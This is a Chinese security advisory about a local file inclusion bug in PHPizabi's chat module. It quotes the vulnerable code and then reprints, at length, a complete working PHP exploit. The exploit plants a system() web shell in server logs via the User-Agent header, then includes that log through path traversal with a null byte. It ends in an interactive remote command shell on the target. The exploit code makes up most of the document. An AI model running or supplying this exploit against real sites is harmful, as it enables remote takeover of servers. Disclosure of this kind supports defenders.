安全研究
安全漏洞
PHPizabi modules/chat/dac.php模块本地文件包含漏洞
发布日期:2009-03-23
更新日期:2009-03-24
受影响系统:
Real!ty Medias PHPizabi v0.848b C1 HFP1-3描述:
BUGTRAQ ID: 34213
PHPizabi是一款代码开源的在线交友、交流、婚介、商务合作系统。
PHPizabi的modules/chat/dac.php模块中没有正确地验证用户所提交的commandArgs命令参数,远程攻击者可以通过向服务器提交恶意请求导致执行任意代码。以下是有漏洞的代码段:
# function handleSendChatData($data) {
# if (substr($data, 0, 1) == "/") return $this -> handleChatCommand($data, $this -> channel); # This line right here says if the string
# # begins with / it is a command so treat
# # as one and call handleChatCommand
#
#
#
# function handleChatCommand($data, $channel) {
# /* /! is a call to the last called command ... handle it */
# if (substr($data, 1, 1) == "!" and isset($_SESSION["triton"]["lastcommand"]))
# $data = $_SESSION["triton"]["lastcommand"];
#
# /* Convert illegal character entities */
# $entities = array(";"=>";", "\""=>""", "'"=>"'", "<"=>"<", ">"=>">", "\\"=>"\", "^"=>"^");
# $data = strtr(stripslashes($data), $entities);
#
# $commandArgs = explode(" ", substr($data, 1)); # commandArgs is set using data which hasnt sanitized.
# if (is_file("commands/".$commandArgs[0].".php") and @include("commands/".$commandArgs[0].".php")) { # commands are stored in their own files and included each call to them.
# $_SESSION["triton"]["lastcommand"] = $data;
# t_command::runCommand($commandArgs, $channel);
# }
# else $this -> localEcho('ERR_NOCOMMAND', array($commandArgs[0]));
# } */
#
<*来源:youcode (icode00@gmail.com)
链接:http://milw0rm.com/exploits/8268
*>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
<?php
function usage()
{
$usage="_________________________________________________________________\n\n";
$usage.=" PHPizabi v0.848b C1 HFP1-3 Remote Command Execution \n";
$usage.=" by youcode icode00@gmail.com \n";
$usage.="_________________________________________________________________\n";
$usage.="Usage: \n\n";
$usage.=basename($_SERVER['PHP_SELF'])." HOST PATH \n\n";
$usage.=" HOST remote host\n";
$usage.=" PATH path to phpizabi\n";
die($usage);
}
function timestampStr($host,$path,$port=80)
{
$packet="GET ".$path."index.php HTTP/1.0\r\n";
$packet.="User-Agent: phpinj 0.1 <?php if(!isset(\$_GET['xyz']))die(\"FindThisTag-9203842398\");system(\$_GET['xyz']);die(); ?>\r\n";
if(80==$port)
{
$packet.="Host: ".$host."\r\n";
}else{
$packet.="Host: ".$host.":".$port."\r\n";
}
$packet.="Connection: Close\r\n\r\n";
$tmphostarr=gethostbynamel($host);
if($tmphostarr===FALSE)
{
die("Failed to resolve hostname $host.\n");
}
$packetsent=0;
foreach ($tmphostarr as $host)
{
$ock=fsockopen($host,$port);
if(!$ock)
{
fclose($ock);
continue;
}
fputs($ock,$packet);
$packetsent=1;
$response="";
while (!feof($ock))
{
$response.=fgets($ock);
}
fclose($ock);
if($packetsent)
break;
}
if(!$packetsent)
die("Failed to connect to $host.\nError: ".socket_strerror(socket_last_error($ock))."\n");
$datePos=strpos($response,"Date:");
$datePos+=6;
$tmpbreakPos=strpos($response,"\r\n",$datePos);
$breakPos=$tmpbreakPos-$datePos;
$dateStr=substr($response,$datePos,$breakPos);
$dateArr=explode(" ",$dateStr);
$months = array ( "Jan" => 1, "Feb" => 2, "Mar" => 3, "Apr" => 4, "May" => 5, "Jun" => 6, "Jul" => 7, "Aug" => 8, "Sep" => 9, "Oct" => 10, "Nov" => 11, "Dec" => 12 );
foreach($months as $key => $val){
if(stripos($dateArr[2],$key)!==FALSE)
$monthNumber=$val;
}
$tmphourArr=explode(":",$dateStr);
if(is_array($tmphourArr))
{
$hour=substr($tmphourArr[0],-2,2);
$timestampStr=mktime($hour,0,0,$monthNumber,$dateArr[1],$dateArr[3]);
}else{
$timestampStr=mktime();
}
return $timestampStr;
}
function findfilename($host,$path,$start,$mode=0,$port=80)
{
$date=$start;
$foundtag=0;
$tmphostarr=gethostbynamel($host);
if($tmphostarr===FALSE)
{
die("Failed to resolve hostname $host.\n");
}
for($i=0;$i<=36;$i++)
{
$packet="GET ".$path."modules/chat/dac.php?sendChatData=/../../../system/cache/logs/".$date.".log\\0 HTTP/1.0\r\n";
$packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\r\n";
if(80==$port)
{
$packet.="Host: ".$host."\r\n";
}else{
$packet.="Host: ".$host.":".$port."\r\n";
}
$packet.="Connection: Close\r\n\r\n";
$packetsent=0;
foreach ($tmphostarr as $remotehost)
{
$ock=fsockopen($remotehost,$port);
if(!$ock)
{
fclose($ock);
continue;
}
fputs($ock,$packet);
$packetsent=1;
$response="";
while (!feof($ock))
{
$response.=fgets($ock);
}
fclose($ock);
if($packetsent)
break;
}
if(!$packetsent)
die("Failed to connect to $host.\nError: ".socket_strerror(socket_last_error($ock))."\n");
if((strpos($response,"FindThisTag-9203842398"))!==FALSE)
{
$foundtag=1;
break;
}
if($mode==0)
{
$date-=3600;
}else{
$date+=3600;
}
}
if($foundtag)
{
return $date;
}else{
return FALSE;
}
}
if($argc < 3)
usage();
$hoststring=$argv[1];
$path=$argv[2];
$date=timestampStr($hoststring,$path);
echo "timestamp is $date. Using this as start point and attempting to locate log file.\n";
$remotelog=findfilename($hoststring,$path,$date);
if(!$remotelog)
$remotelog=findfilename($hoststring,$path,$date,1);
if(!$remotelog)
die("Failed to find the log file name. Cant include a file that cant be found :(\n");
echo "Found log file: $remotelog.log\nBeginning command execution. . .\n";
$tmpportarr=explode(":",$hoststring);
if(isset($tmpportarr[1]))
{
$hoststring=$tmpportarr[0];
$remoteport=$tmpportarr[1];
}else{
$remoteport=80;
}
$tmphostarr=gethostbynamel($hoststring);
if($tmphostarr===FALSE)
{
die("Failed to resolve hostname $hoststring.\n");
}
for(;;)
{
echo "#> ";
$cmd=urlencode(fgets(STDIN));
$packet="GET ".$path."modules/chat/dac.php?sendChatData=/../../../system/cache/logs/".$remotelog.".log\\0&xyz=".$cmd." HTTP/1.0\r\n";
$packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\r\n";
if(80==$remoteport)
{
$packet.="Host: ".$hoststring."\r\n";
}else{
$packet.="Host: ".$hoststring.":".$remoteport."\r\n";
}
$packet.="Connection: Close\r\n\r\n";
$packetsent=0;
foreach ($tmphostarr as $remotehost)
{
$ock=fsockopen($remotehost,$remoteport);
if(!$ock)
{
fclose($ock);
continue;
}
fputs($ock,$packet);
$packetsent=1;
$response="";
while (!feof($ock))
{
$response.=fgets($ock);
}
fclose($ock);
if($packetsent)
break;
}
if(!$packetsent)
{
echo "Failed to connect to $hoststring.\nError: ".socket_strerror(socket_last_error($ock))."\n";
break;
}
$cmdOutput=strstr($response,"phpinj 0.1 ");
$cmdOutput=str_replace("phpinj 0.1 ","",$cmdOutput);
echo "\n\n$cmdOutput\n\n";
}
?>
建议:
厂商补丁:
Real!ty Medias
--------------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
http://www.phpizabi.net/?L=home.index
浏览次数:40611
严重程度:0(网友投票)
绿盟科技给您安全的保障
